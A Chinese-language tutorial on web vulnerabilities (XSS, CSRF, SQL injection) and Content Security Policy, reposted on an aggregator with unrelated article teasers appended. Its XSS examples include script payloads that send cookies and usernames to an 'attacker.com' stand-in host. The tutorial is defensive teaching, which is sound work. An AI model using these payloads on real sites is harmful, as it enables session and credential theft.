web漏洞與規避

文章目錄

  • 一、XSS 跨站腳本攻擊
    • 1.1 XSS攻擊的主要類型
      • 反射型XSS
      • 存儲型XSS
      • DOM型XSS
    • 1.2 前端開發如何應對XSS
  • 二、CSRF 跨站請求偽造
    • 2.1 CSRF例子
    • 2.2 前端開發如何應對CSRF
  • 三、SQL 注入
    • 3.1 前端如何防御SQL注入
  • 四、前端如何使用CSP

一、XSS 跨站腳本攻擊

攻擊者通過在受害者的瀏覽器中注入惡意代碼,攻擊受害者的登錄憑證、盜取敏感信息或控制受害者的會話等。

1.1 XSS攻擊的主要類型

反射型XSS

1. 什么是反射型XSS攻擊

它通常出現在網站搜索、用戶登錄注冊等交互處,通過構造特定的參數值,嵌入到URL中,當其他用戶訪問該URL時,就會觸發XSS漏洞,服務器端將惡意腳本解析后返回給用戶的瀏覽器執行。

2. 反射型XSS攻擊的原理&步驟

  1. 攻擊者構造一個帶有惡意腳本的鏈接,其鏈接參數包含用戶的輸入。
  2. 將鏈接發送給受害者。
  3. 受害者點擊鏈接時,惡意腳本會被瀏覽器解析并執行,從而執行攻擊者的意圖。

在這里插入圖片描述

3. 反射型XSS攻擊的示例

攻擊者構造一個包含惡意腳本的URL,該腳本將嘗試獲取用戶的某些信息,如Cookie,并將其發送到攻擊者的服務器。例如:

http://vulnerable.com/search?q=
<script>var xhr = new XMLHttpRequest(); 
xhr.open('POST', 'http://attacker.com/steal-cookie', true); 
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
xhr.send('cookie=' + document.cookie); 
alert('Your cookie was stolen!');
</script>

由于網站沒有對用戶輸入進行適當的過濾或編碼,惡意腳本被執行。
攻擊者的服務器接收到Cookie,并可以進一步利用它來獲取受害者的敏感信息,如會話令牌、用戶身份等。

4. 如何防御反射型XSS攻擊

  1. 輸入驗證和過濾:驗證和過濾用戶輸入的數據,確保它不包含任何惡意腳本或HTML標簽。
  2. 內容安全策略(CSP):使用CSP來限制網站加載哪些外部腳本,從而減少XSS攻擊的風險。
  3. 編碼輸出:對所有用戶輸入的數據進行適當的編碼,以確保它們被當作普通的文本處理,而不是HTML或JavaScript代碼。
  4. 使用HTTPOnly標志:確保cookie設置了HTTPOnly標志,這樣JavaScript就無法訪問cookie,從而減少了攻擊者利用XSS漏洞竊取會話信息的風險。
  5. 框架和庫的安全實踐:如果你使用前端框架或庫,確保你遵循它們的安全實踐和建議。
  6. 定期安全審計和監控:對網站進行定期的安全審計和監控,以檢測和修復任何潛在的XSS漏洞。

存儲型XSS

1. 什么是存儲型XSS攻擊

它主要將惡意腳本存儲到服務器端,當用戶再次訪問該頁面時,惡意腳本就會被執行。這種XSS一般出現在網站留言、評論、博客日志等交互功能中。

2. 存儲型XSS攻擊的原理&步驟

  1. 攻擊者在受害網站上查找存在漏洞的輸入表單,例如評論框或搜索框等。
  2. 攻擊者將惡意代碼或腳本插入到輸入表單中,以便在提交表單時存儲到數據庫中。例如,攻擊者可以在評論框中插入一段 JavaScript 代碼,用于竊取存儲在 Cookie 中的會話標識符。
  3. 網站接收到含有惡意代碼的表單數據,將其存儲到數據庫中。此時,攻擊者的惡意代碼已經寫入到數據庫中并保存下來。
  4. 受害用戶訪問這個包含惡意代碼的頁面時,惡意代碼從數據庫中提取出來并在受害用戶的瀏覽器上執行,觸發攻擊者設定的操作。
  5. 攻擊者利用受害用戶的會話標記等獲取受害者的身份和敏感信息。例如,可以利用惡意腳本竊取用戶的個人信息、登錄憑據或信用卡信息,并發送給攻擊者。
    在這里插入圖片描述

3. 存儲型XSS攻擊的示例

攻擊者在social.com上注冊一個賬戶,并在某個用戶的評論中發布一段包含惡意腳本的內容。例如,攻擊者可能會評論:

“這條評論中包含了一個惡意腳本 <script>var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker.com/steal-info', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('username=' + document.getElementById('username').value);</script>。”

由于網站存在存儲型XSS漏洞,攻擊者的評論被存儲在服務器上,并且每次其他用戶查看該評論時,惡意腳本都會被執行。

惡意腳本獲取當前頁面上的某些元素(例如,受害者的用戶名),并通過XMLHttpRequest發送到攻擊者的服務器(http://attacker.com/steal-info)。這樣,攻擊者就能夠收集受害者的信息。

4. 如何防御存儲型XSS攻擊
存儲型 XSS 攻擊通常比反射型 XSS 攻擊更難防止。以下是幾種常見的防御措施:

  1. 輸入過濾和驗證:對用戶的輸入進行強校驗。過濾不安全的字符,校驗數據類型、長度和格式等是否合法,防止不安全的數據被存儲。
  2. 輸出編碼/轉義:在輸出用戶數據之前,對數據進行編碼轉義,可以使用 HTML 或 URL 編碼來處理特殊字符、腳本和標記,以防止惡意代碼被執行。
  3. 防御性編程:使用安全的 API、利用驗證機制、進行限制訪問控制。
  4. CSP:Content Security Policy 可以設置白名單和黑名單,限制頁面加載的資源類型和來源,防止惡意腳本和樣式被加載。
  5. 使用 HTTPS:**使用 HTTPS 可以防止攻擊者在傳輸過程中竊取會話標識符和敏感數據等信息。
  6. 限制和控制用戶輸入:限制用戶可以輸入的數據內容、長度和格式。例如,可以使用 HTML5 的 input 標簽提供的 pattern 屬性限制用戶輸入的數據類型和格式。

DOM型XSS

1. 什么是DOM型XSS攻擊

DOM型XSS是基于DOM(Document Object Model)的一種XSS攻擊。它不需要服務器參與,通過修改頁面的DOM節點形成的XSS。

2. DOM型XSS攻擊的原理和步驟

DOM型XSS攻擊的過程與反射型XSS攻擊極其類似,主要差異在于反射型XSS會把攻擊腳本傳遞給服務器,而DOM型XSS不需要,從而可以達到繞過WAF、躲避服務端的檢測效果。
DOM型XSS攻擊通常分為以下幾個步驟:

  1. 攻擊者誘導用戶訪問一個惡意網站或者跨站點的合法網站。
  2. 網站中的 JavaScript 腳本將用戶輸入的數據組合成 DOM 片段。
  3. 攻擊者篡改了 DOM 片段或者修改了 DOM 的屬性,注入惡意的腳本,從而執行了非法行為。
  4. 當瀏覽器解析 DOM 片段時,執行了惡意腳本,使惡意代碼被執行。
  5. 攻擊者成功地竊取了用戶敏感信息或者完成了其他非法操作。

3. 存儲型XSS攻擊的示例

用戶輸入惡意腳本:
攻擊者在評論框中輸入包含惡意JavaScript代碼的評論,例如:

<img src="javascript:alert('XSS');" />

網站將用戶輸入的評論動態地插入到HTML頁面中,例如使用innerHTML屬性:

document.getElementById('comment').innerHTML = userInput;

當其他用戶訪問包含這條評論的頁面時,瀏覽器會解析HTML并執行其中的JavaScript代碼。

4. 如何防御DOM型XSS攻擊
DOM型XSS攻擊可以通過下面的措施進行防御:

  • 輸入過濾和驗證:對用戶的輸入進行強校驗。過濾不安全的字符,校驗數據類型、長度和格式等是否合法,防止不安全的數據被存儲。
  • 輸出編碼/轉義:在輸出用戶數據之前,對數據進行編碼轉義,可以使用 HTML 或 URL 編碼來處理特殊字符、腳本和標記,以防止惡意代碼被執行。
  • 使用 innerTexttextContent 而不是 innerHTML:避免將用戶輸入的數據直接插入到 innerHTML 中。可以使用白名單機制過濾不安全的標記,或使用innerText、textContent 等安全的API。
  • 使用CSP:CSP 可以設置白名單和黑名單,限制頁面加載的資源類型和來源,從而防止惡意腳本和樣式被加載。
  • 使用安全沙箱:應用沙盒技術限制 JavaScript 運行的環境,從而可以防止惡意 JS 腳本操作或者篡改文檔 DOM 等。
  • 更新和升級瀏覽器:定期升級瀏覽器,減少已知紅旗漏洞的影響。

1.2 前端開發如何應對XSS

  1. 數據綁定和轉義:
    使用框架提供的數據綁定機制來插入內容,而不是手動拼接HTML字符串。現代前端框架(如ReactVueAngular等)通常具有內置的數據綁定和轉義機制,可以自動處理特殊字符,防止XSS攻擊。
    如果必須手動處理HTML內容,確保使用適當的轉義函數來轉義所有用戶輸入的數據。例如,在JavaScript中,可以使用textContentinnerText屬性來安全地插入文本內容,而不是使用innerHTML
  2. 限制使用innerHTML
    盡量避免使用innerHTML來設置元素的HTML內容,因為它可能會執行其中的腳本。如果確實需要使用innerHTML,確保先對內容進行適當的轉義和清理。
  3. 使用內容安全策略(CSP):
    在服務器端設置內容安全策略(CSP)頭,限制哪些外部資源可以被加載和執行。這可以防止攻擊者注入惡意腳本。
  4. 防止DOM型XSS:
    在處理用戶輸入時,避免直接操作DOM元素。例如,不要直接設置element.onclickelement.href,而是使用事件監聽器和數據屬性。
    使用事件處理程序的參數化版本,如addEventListener,而不是直接在HTML中設置事件處理程序。
  5. 使用安全的API和庫:
    使用經過安全審計和廣泛使用的庫和框架來處理用戶輸入和顯示內容。這些庫通常具有內置的安全措施來防止XSS攻擊。
  6. 用戶輸入驗證:
    在后端對用戶輸入進行驗證和過濾,確保輸入的數據符合預期的格式和類型。這可以作為前端防御措施的補充,確保即使攻擊者繞過前端防御,后端也能阻止惡意輸入。
  7. 持續監控和更新:
    使用安全掃描工具和監控機制來檢測潛在的XSS漏洞。保持對前端框架和庫的更新,以便及時修復已知的安全漏洞。

二、CSRF 跨站請求偽造

CSRF(Cross-Site Request Forgery,跨站請求偽造)是一種網絡攻擊方式,該攻擊強迫受害者執行在權限范圍內的惡意操作。攻擊者通過偽造受害者的請求,利用受害者已登錄的身份,以受害者的名義執行惡意操作。與XSS不同,CSRF不需要攻擊者插入惡意腳本到受害者的網頁中,而是利用受害者已經登錄的身份,在受害者不知情的情況下執行惡意請求。

CSRF攻擊通常發生在以下場景中:

  1. 用戶登錄了某個網站A并保持登錄狀態(通常是通過在瀏覽器中設置cookie實現的)。
  2. 用戶訪問了另一個惡意網站B,該網站B利用用戶已登錄網站A的身份,發送一個偽造的請求到網站A。
  3. 網站A無法區分這個請求是來自用戶本人還是惡意網站B,因此執行了惡意請求中的操作。

2.1 CSRF例子

  • 假設有一個銀行網站A,用戶C在該網站上進行了登錄操作并生成了Cookie。
  • 在用戶C未退出登錄的情況下,他訪問了一個惡意網站B。
  • 網站B的頁面上有一個隱藏的表單,該表單的請求目標是銀行網站A的轉賬接口,并附帶了一些誘導用戶點擊的按鈕或圖片。
  • 當用戶C點擊這些按鈕或圖片時,他的瀏覽器會根據網站B的請求,攜帶之前在銀行網站A生成的Cookie,向銀行網站A發出轉賬請求。
  • 由于這個請求是來自于用戶C的瀏覽器,并且攜帶了有效的Cookie,銀行網站A會認為這是用戶C的合法請求,并執行相應的轉賬操作。

在這個例子中,惡意網站B利用了用戶C在銀行網站A的登錄狀態,通過偽造請求的方式實現了非法轉賬操作。這就是一個典型的CSRF攻擊。

2.2 前端開發如何應對CSRF

  1. 同步令牌(Synchronizer Tokens):
    • 當用戶首次訪問網站時,服務器生成一個唯一的令牌(token)并將其發送到用戶的瀏覽器,通常存儲在一個隱藏的表單字段或cookie中。
    • 當用戶提交表單或執行敏感操作時,瀏覽器會附帶這個令牌。
    • 服務器在接收請求時,驗證令牌是否與服務器上的值匹配,如果不匹配,則拒絕執行操作。
  2. 雙重提交Cookie
    • 除了常規的認證cookie外,服務器還可以設置一個額外的隨機cookie,該cookie在每次請求時都會發送。
    • 攻擊者無法獲取或偽造這個額外的cookie,因此無法執行CSRF攻擊。
  3. 檢查請求的來源:
    • 服務器可以檢查HTTP請求頭中的Referer字段,確保請求來自合法的源。然而,這種方法并不完全可靠,因為Referer字段可以被偽造或缺失。
  4. 使用驗證碼:
    • 對于執行敏感操作(如轉賬、更改密碼等),要求用戶輸入驗證碼。這增加了攻擊者偽造請求的難度。
  5. 使用安全的HTTP方法:
    • 只允許使用安全的HTTP方法(如GET、HEAD、OPTIONS和TRACE),避免使用不安全的方法(如POST、PUT、DELETE)。然而,這不是一個有效的防御措施,因為攻擊者仍然可以發送合法的POST請求來執行惡意操作。

三、SQL 注入

SQL 注入(SQL Injection)是一種常見的網絡攻擊技術,用于攻擊數據驅動的應用程序。它通過在應用程序的數據庫查詢中注入惡意的SQL代碼片段,從而實現對數據庫的未授權訪問和操作。攻擊者可以利用這種技術繞過應用程序的安全機制,執行任意的SQL命令,可能導致數據泄露、數據篡改、甚至完全控制數據庫服務器。

SQL注入通常發生在以下情況下:

  • 未驗證或未轉義的用戶輸入:當應用程序直接將用戶輸入拼接到SQL查詢語句中,而沒有進行適當的驗證或轉義時,攻擊者可以輸入惡意的SQL代碼,從而改變查詢的意圖。
  • 使用動態SQL查詢:在應用程序中動態構建SQL查詢語句時,如果沒有正確地處理用戶輸入,就可能導致SQL注入。
  • 錯誤配置或過時的數據庫系統:某些數據庫系統可能存在已知的安全漏洞,如果配置不當或未及時更新補丁,就可能被攻擊者利用。

3.1 前端如何防御SQL注入

  1. 輸入驗證:對用戶輸入進行嚴格的驗證,確保輸入符合預期的數據類型和格式。例如,如果某個字段只接受數字,那么可以使用正則表達式或其他驗證方法來確保輸入只包含數字。
  2. 轉義用戶輸入:在將用戶輸入插入到SQL查詢之前,對特殊字符進行轉義,以防止它們被解釋為SQL代碼的一部分。可以使用前端庫或函數來自動轉義用戶輸入。
  3. 限制輸入長度:對用戶輸入的長度進行限制,以防止過長的輸入導致SQL查詢出現問題。這有助于防止攻擊者通過輸入超長字符串來繞過驗證或觸發數據庫錯誤。
  4. 使用參數化查詢或預編譯語句:在前端與后端進行交互時,使用參數化查詢或預編譯語句來構建SQL查詢。這樣可以確保用戶輸入被當作參數傳遞給數據庫,而不是直接插入到SQL語句中。這樣可以有效防止SQL注入攻擊。
  5. 避免在前端拼接SQL語句:不要在前端代碼中直接拼接用戶輸入來構建SQL語句。這種做法非常危險,因為攻擊者可以通過輸入特定的字符串來操縱SQL語句,從而執行惡意操作。
  6. 使用HTTPS:確保前端與后端之間的通信使用HTTPS協議進行加密。這樣可以防止攻擊者在通信過程中竊取或篡改數據。

四、前端如何使用CSP

內容安全策略(Content Security Policy,簡稱CSP)是一種增加網站安全性的額外安全層,可以幫助檢測和緩解某些類型的攻擊,包括跨站腳本(XSS)和數據注入攻擊。CSP 基本上限制了瀏覽器能夠加載哪些資源,從而減少了攻擊面。

1. 了解CSP指令:

default-src:定義針對所有類型的默認策略。
script-src:定義哪些源可以執行腳本。
style-src:定義哪些源可以加載樣式。
img-src:定義哪些源可以加載圖片。
connect-src:定義哪些源可以建立連接,如 AJAX 請求。
font-src:定義哪些源可以加載字體。
object-src:定義哪些源可以加載 <object>, <embed>, 和 <applet>
media-src:定義哪些源可以加載 <video><audio>
frame-src:定義哪些源可以加載 <iframe>, <frame>, <embed><object>
report-uri:定義當CSP被違反時,發送違規報告的URI。

2.設置CSP策略:

  • 通過HTTP響應頭設置:在服務器端設置CSP頭部是最常見的方法。例如,在NginxApache等服務器上設置。
Content-Security-Policy: script-src 'self' https://example.com; object-src 'none'; report-uri /csp-report
  • 通過meta標簽設置:CSP也可以通過在HTML文檔的<head>部分添加<meta>標簽來設置。
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://example.com; object-src 'none'; report-uri /csp-report">

3.測試CSP策略:
在部署CSP之前,使用瀏覽器的開發者工具來測試你的CSP策略,確保它按照你的預期工作。
檢查任何可能的資源加載問題,確保CSP策略不會阻止你的網站正常運行。

4.部署CSP策略:
在確保CSP策略不會對你的網站造成負面影響后,將其部署到生產環境。
監控CSP違規報告,以便及時發現并處理任何潛在的安全問題。

5.處理CSP違規:
設置report-uri指令,以便在CSP策略被違反時接收違規報告。
分析這些報告,找出違規的來源,并采取適當的措施來解決這些問題。

6.持續監控和更新:
隨著你的網站發展和變化,持續監控CSP策略,并根據需要進行更新。
保持對CSP最新發展的關注,以便利用新的特性和改進來增強安全性。
請記住,設置過于嚴格的CSP策略可能會阻止網站的正常運行。因此,建議在部署之前進行充分的測試,并確保了解你的網站需要加載哪些資源。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/716903.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/716903.shtml
英文地址,請注明出處:http://en.pswp.cn/news/716903.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

stm32學習筆記:IIC通信(未完)

概述 第一塊&#xff1a;介紹協議規則&#xff0c;然后用軟件模擬的形式來實現協議。 第二塊&#xff1a;介紹STM32的iic外設&#xff0c;然后用硬件來實現協議。 程序一現象&#xff1a;通過軟件I2C通信&#xff0c;對MPU6050芯片內部的寄存器進行讀寫&#xff0c;寫入到配…

【Synchronized同步原理】

Synchronized同步原理 1. synchronized的使用&#xff1f;2. 如何保證線程安全的&#xff1f;3.可重入原理&#xff08;加鎖次數計數器&#xff09;4. 原子性和可見性(順序性) 1. synchronized的使用&#xff1f; 對象鎖方法鎖類鎖 2. 如何保證線程安全的&#xff1f; publi…

關于數據提交上傳服務端的數據類型以及項目打包上線的流程

1 請求頭的類型&#xff1a; content-type&#xff1b; 01: application/json 數據以json格式請求&#xff1a;{"key":"value"} 02: application/x-www.form-urlencoded from表單的數據格式 name"zs"&age12 03 mutipart/form-data…

重學SpringBoot3-自動配置機制

重學SpringBoot3-自動配置機制 引言Spring Boot 自動配置原理示例&#xff1a;Spring Boot Web 自動配置深入理解總結相關閱讀 引言 Spring Boot 的自動配置是其最強大的特性之一&#xff0c;它允許開發者通過最少的配置實現應用程序的快速開發和部署。這一切都得益于 Spring …

飛槳(PaddlePaddle)模型保存與加載教程

文章目錄 飛槳&#xff08;PaddlePaddle&#xff09;模型保存與加載教程1. 概述2. 訓練調優場景2.1 保存動態圖模型2.2 加載動態圖模型 3. 推理部署場景3.1 使用基礎API 4. 其他場景4.1 舊版本格式兼容載入4.2 靜態圖模型的保存與加載 5. 總結 飛槳&#xff08;PaddlePaddle&am…

OmniPlan Pro mac版:簡單、智能,項目管理新選擇!

OmniPlan Pro是一款功能強大的項目管理軟件&#xff0c;它以其直觀的用戶界面和豐富的功能&#xff0c;幫助用戶輕松管理各種復雜的項目。無論是個人任務還是團隊協作&#xff0c;OmniPlan Pro都能提供全面的解決方案&#xff0c;讓項目管理變得更加簡單高效。 OmniPlan Pro軟…

從0開始回顧Mysql --- MySQL初體驗

大白話從0開始回顧MySQL&#xff0c;去除了一些繁瑣的操作的演示以及內容&#xff0c;如MySQL安裝等&#xff0c;本篇文章適合復習MySQL語法&#xff0c;學習MySQL語句&#xff0c;對MySQL不太熟練的同學&#xff0c;希望對大家有一些幫助。 MySQL初體驗 首先&#xff0c;我將…

如何在Window系統部署VisualSVN服務并結合cpolar實現無公網ip遠程訪問

文章目錄 前言1. VisualSVN安裝與配置2. VisualSVN Server管理界面配置3. 安裝cpolar內網穿透3.1 注冊賬號3.2 下載cpolar客戶端3.3 登錄cpolar web ui管理界面3.4 創建公網地址 4. 固定公網地址訪問 前言 SVN 是 subversion 的縮寫&#xff0c;是一個開放源代碼的版本控制系統…

數字孿生與智慧交通的融合發展:推動交通行業數字化轉型,構建智慧城市新生態

隨著信息技術的快速發展和城市化進程的深入推進&#xff0c;交通行業正面臨著前所未有的機遇與挑戰。傳統的交通管理模式已難以滿足日益增長的交通需求&#xff0c;而數字化轉型則成為了推動交通行業創新發展的必由之路。數字孿生技術作為一種前沿的信息技術手段&#xff0c;為…

聊一聊腦機接口

截至我所知的信息&#xff0c;腦機接口&#xff08;Brain-Computer Interface, BCI&#xff09;技術正在迅速發展&#xff0c;但仍處于相對早期階段。這一領域的研究涉及神經科學、工程學、計算機科學和人工智能等多個學科。以下是一些關于腦機接口目前進展的要點&#xff1a; …

基于springboot+vue的公寓報修管理系統

博主主頁&#xff1a;貓頭鷹源碼 博主簡介&#xff1a;Java領域優質創作者、CSDN博客專家、阿里云專家博主、公司架構師、全網粉絲5萬、專注Java技術領域和畢業設計項目實戰&#xff0c;歡迎高校老師\講師\同行交流合作 ?主要內容&#xff1a;畢業設計(Javaweb項目|小程序|Pyt…

每天的三哥牌小雞腿沒了

查看印度基金(164824)公告&#xff0c;從2024年2月28日起&#xff0c;暫停印度基金的申購&#xff0c;限額100塊的一拖七套利告一段落。這意味著看好印度股市的國內投資者&#xff0c;以后只能通過在場內買入獲得份額。 關于暫停申購的原因&#xff0c;官方說是為保護基金持有…

學Python如此簡單--停車管理模塊

簡介 &#xff08;本停車場一個小時4塊&#xff09; 模塊名稱&#xff1a;黑心停車管理模塊 模塊功能&#xff1a;汽車進場錄入、汽車出場收費 代碼 #進入停車場 def enter():print(歡迎進入黑心停車場)#模擬識別車牌號car_number input(請輸入車牌號:)t 0 #停車時間car…

重磅!交通領域頂級會議TRB會議將進行重大改革

美國交通研究委員會年會&#xff08;Transportation Research Board annual meeting,以下簡稱TRB會議&#xff09;是由美國交通研究委員會舉辦的交通領域的國際頂級會議。該會議每年舉辦一次&#xff0c;在華盛頓特區召開。TRB會議是交通研究領域知名度最高的學術會議之一&…

安裝 node 錯誤的配置環境變量之后使用 npm 報錯

安裝 node 錯誤的配置環境變量之后使用 npm 報錯 node:internal/modules/cjs/loader:1147 throw err; ^ Error: Cannot find module ‘F:\ACodeTools\Node\node_modules\npm\bin\node_modules\npm\bin\npm-cli.js’ at Module._resolveFilename (node:internal/modules/cjs/loa…

基于springboot實現企業員工績效考評系統項目【項目源碼+論文說明】

基于springboot實現企業員工績效考評系統演示 摘要 時代的變化速度實在超出人類的所料&#xff0c;21世紀&#xff0c;計算機已經發展到各行各業&#xff0c;各個地區&#xff0c;它的載體媒介-計算機&#xff0c;大眾稱之為的電腦&#xff0c;是一種特高速的科學儀器&#xf…

AI-數學-高中-32-統計-樣本空間與隨機事件

原作者視頻&#xff1a;【概率】【一數辭典】1樣本空間與隨機事件_嗶哩嗶哩_bilibili 1.隨機試驗&#xff1a; 2.樣本點、樣本空間、有限樣本空間&#xff1a; 示例1 示例2 3.事件&#xff1a; 示例&#xff1a;

[DEBUG] spring boot-如何處理鏈接中的空格等特殊字符

問題&#xff1a; get或者post中提交的內容可能有空格、#等特殊字符&#xff0c;不做處理的話可能解析錯誤。 解決&#xff1a; html中&#xff1a; <a th:href"{/listSgrna(id${item.getGeneId()},geneName${item.getGeneName()},genome${genome},sgrnaNum${sgrnaN…

Qt CMake 國際化相關配置

文章目錄 更新ts文件發布ts文件 本來用qmake使用pro文件很簡單的一件事&#xff0c;結果用cmake折騰了半天。 何必呢~ 參考&#xff1a;QT6.3 CMake 多語言切換 這是我的 cmake_minimum_required(VERSION 3.16)project(testQml3_6 VERSION 0.1 LANGUAGES CXX)set(CMAKE_AUTO…

06.QT信號和槽-1

一、信號和槽概述 在Qt中&#xff0c;用戶和控件的每次交互過程稱為一個事件。比如"用戶點擊按鈕"是一個事件&#xff0c;"用戶關閉窗口"也是一個事件。每個事件都會發出一個信號&#xff0c;例如用戶點擊按鈕會發出"按鈕被點擊"的信號&#xff…